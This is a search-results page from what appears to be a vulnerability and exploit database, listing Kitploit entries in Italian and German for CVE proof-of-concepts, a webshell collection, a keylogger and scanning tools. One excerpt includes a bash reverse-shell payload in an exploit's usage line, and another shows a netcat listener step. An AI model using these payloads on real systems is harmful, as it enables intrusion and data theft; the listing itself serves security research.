Lucene search
+L

774976 matches found

Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

CVE-2026-27626-POC

CVE-2026-27626: Iniezione di comandi nell'argomento password di OliveTin OliveTin permette a un amministratore di definire "azioni": comandi shell con argomenti parametrizzati che gli utenti possono attivare da una web UI o da un'API. Prima di inserire un valore fornito dall'utente nel comando...

9.9CVSS8.6AI score0.00549EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...

9.8CVSS7AI score0.8833EPSS
SaveExploits19References1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE critica in NGINX CVSS 9.2 Classificazione Categoria: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critico Data di scoperta: 12 maggio 2026 Data della patch: maggio 2026 rilascio trimestrale di sicurezza F5 Fonte: GitHub DepthFirstDisclosures/Nginx-Rift...

9.2CVSS8.4AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

cisco-SNMP-enumeration

Cisc0wn - Script SNMP di Cisco Script di enumerazione SNMP, brute force, download di configurazioni e cracking delle password per Cisco. Testato e progettato per funzionare con switch e router Cisco IOS. Rilasciato come open source da NCC Group Plc - http://www.nccgroup.com/ Sviluppato da Daniel...

5.3AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

cve-2020-14008

CVE-2020-14008 Exploit per ManageEngine Cos'è? Questo script sfrutta la CVE-2020-14008 in ManageEngine Applications Manager per ottenere una reverse shell con privilegi SYSTEM. Requisiti root@kitploit: pip3 install requests urllib3 Come usarlo 1. Avvia un listener root@kitploit: nc -nlvp 9001 2...

7.2CVSS7.1AI score0.40056EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

CVE-2025-30208

CVE-2025-30208 — Lettura arbitraria di file in Vite · v5 CVE: CVE-2025-30208 GHSA: GHSA-x574-m823-4x7w Gravità: CVSS 5.3 Media dev server accessibile dalla rete ⚠ Esclusivamente per attività di sicurezza autorizzate. L'uso non autorizzato contro sistemi di cui non si possiede o non si ha esplicit...

7.5CVSS6.4AI score0.74784EPSS
SaveExploits28References1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.3 views

Scalar-Venom-Attack

Questo documento analizza le vulnerabilità crittografiche scoperte nelle moderne infrastrutture di gestione delle chiavi crittografiche, con particolare attenzione ai difetti critici nell'architettura dei moduli di sicurezza hardware HSM nella gestione delle chiavi private a curva ellittica. Lo...

9.3CVSS8.4AI score0.09177EPSS
SaveExploits1References3
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.3 views

react

Dump di dati dagli internals di React Questo strumento è uno userscript rapido e sporco per Tampermonkey che scava un paio di livelli in qualsiasi pagina React e cerca una o più frasi fornite dall'utente. Lo strumento rende facile trovare il punto giusto nel DOM in cui React collega grandi blocch...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.1 views

CVE-2024-12849-Poc

CVE-2024-12849-Poc 📜 Descrizione Il plugin Error Log Viewer By WP Guru per WordPress è vulnerabile alla Lettura Arbitraria di File in tutte le versioni fino alla 1.0.1.3 inclusa tramite l'azione AJAX wpajaxnoprivelvwplogdownload. Ciò consente ad attaccanti non autenticati di leggere il contenuto ...

7.5CVSS7.9AI score0.46858EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.1 views

CVE-2024-41628

CVE-2024-41628 Semplice script di exploit sviluppato da Redshift Cyber Security per sfruttare la vulnerabilità LFI CVE-2024-41628 di ClusterControl. La vulnerabilità interessa l'API CMON e in particolare le interfacce utente RPC e RPC-TLS che, per impostazione predefinita, risiedono rispettivamen...

7.5CVSS8.7AI score0.06464EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.1 views

CamTRON

CamTRON - Kamera-Scanner Ein automatisiertes Tool zur Erkennung von Überwachungsgeräten Kameras in Netzwerken. Funktionen Markenübergreifende Erkennung : Unterstützt 30+ Kameramarken, einschließlich Hikvision, Dahua, Axis, CCTV und mehr Hochleistungs-Scanning : Paralleles Scannen mit...

5.6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

asminject

asminject.py asminject.py è un fork pesantemente modificato del progetto dlinject di David Buchanan. Inietta payload arbitrari in assembly o binari precompilati direttamente nei processi Linux x86-64, x86 e ARM32 accedendo a /proc//mem invece di agganciarsi tramite ptrace. Utile per manomettere...

5.4AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.1 views

libmempool

libmempool Nota preliminare: ti consigliamo di usarlo come parte di asatools, ma può essere usato anche in modo autonomo. libmempool è uno script Python e uno strumento di analisi GDB per aiutare nell'analisi delle strutture dati relative ai mempool presenti all'interno dei vari heap sui...

5.6AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

SSH_Enum_CVE-2018-15473

SSH Username Enumeration Exploit Questo script è una versione modificata di un exploit originale che consente di eseguire un'enumerazione degli utenti SSH su server vulnerabili OpenSSH 2.3 7.7. Funzionalità Lo script utilizza una vulnerabilità nel protocollo SSH per enumerare gli utenti validi su...

5.9CVSS6.5AI score0.98631EPSS
SaveExploits26
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.1 views

Alibab-Nacos-Unauthorized-Login

Impatto della vulnerabilità È stato scoperto un problema in Nacos che interessa Nacos = 2.1.0. Gli utenti di Nacos utilizzano la chiave JWT predefinita, causando una vulnerabilità di accesso non autorizzato. Attraverso questa vulnerabilità, gli aggressori possono aggirare l'autenticazione con nom...

5.3AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Proof of concept Writeup: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Lo script Python sfrutta la funzione di upload disponibile senza autenticazione su /admin/files-upload/ Lo script crea localmente una cartella bin e un file...

10CVSS9AI score0.27003EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

tp-link-decrypt

NOTA a partire dal 5 ottobre 2025 questo progetto è ora deprecato. Nate Robbins ha gentilmente preso in carico il progetto e ha aggiunto la decrittazione degli switch - https://github.com/robbins/tp-link-decrypt...

5.4AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

webshell

webshell | English | Türkiye Questo è un progetto di raccolta di webshell Chi dona rose, conserva il profumo nella mano: se scaricate questo progetto, vi preghiamo di inviare anche voi delle shell Questo progetto comprende vari script di uso comune Come: asp, aspx, php, jsp, pl, py Quando inviate...

5.4AI score
SaveExploits0References4
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

Xenotix-Python-Keylogger

Xenotix Python Keylogger per Windows IMPORTANTE: LO SVILUPPO E IL SUPPORTO DEL PROGETTO SONO INTERROTTI uso: xenotixpythonlogger.py mode optional modalità: local: salva i log in un file keylogs.txt remote: invia i log a un modulo Google. Devi specificare l'URL del modulo e il nome del campo nello...

5.3AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 8:55 a.m.2 views

CVE-2026-42945

NGINX CVE-2026-42945 Rift — laboratorio difensivo locale Due istanze NGINX containerizzate: snippet "riscritta rischiosa" basato su pattern vs snippet corretto con named capture, bloccati rispettivamente su nginx:1.30.0-alpine / nginx:1.30.1-alpine. Gli script eseguono curl innocui, generano dump...

9.2CVSS8AI score0.68047EPSS
SaveExploits42References1
Rows per page
Query Builder